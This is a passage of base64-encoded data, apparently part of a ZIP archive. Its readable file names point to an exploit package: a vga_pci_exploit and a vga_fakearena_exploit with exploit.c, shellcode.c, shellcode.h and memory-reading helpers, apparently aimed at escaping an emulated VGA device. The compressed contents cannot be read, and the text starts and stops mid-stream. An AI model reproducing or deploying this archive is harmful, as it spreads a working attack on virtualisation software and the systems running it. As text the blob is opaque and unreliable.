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 